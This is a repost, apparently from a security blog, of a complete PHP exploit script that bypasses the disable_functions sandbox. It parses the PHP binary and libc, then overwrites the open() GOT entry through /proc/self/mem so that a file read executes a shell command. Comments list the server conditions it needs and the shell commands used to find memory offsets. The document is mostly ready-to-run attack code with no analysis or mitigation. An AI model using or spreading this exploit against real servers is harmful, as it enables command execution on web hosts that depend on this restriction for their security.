disable_functions bypass - via mem

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mem üzerinden

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

<?php
/*
1. kernel>=2.68
2）PHP-CGI or PHP-FPM）因为mod_php并没有读取/proc/self/mem
3）代码针对x64编写，要用于x32需要更改
4）Open_basedir=off（或者能绕过open_basedir读写 /lib/ 和/proc/）
*/
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting\n";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd\n";
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting\n";

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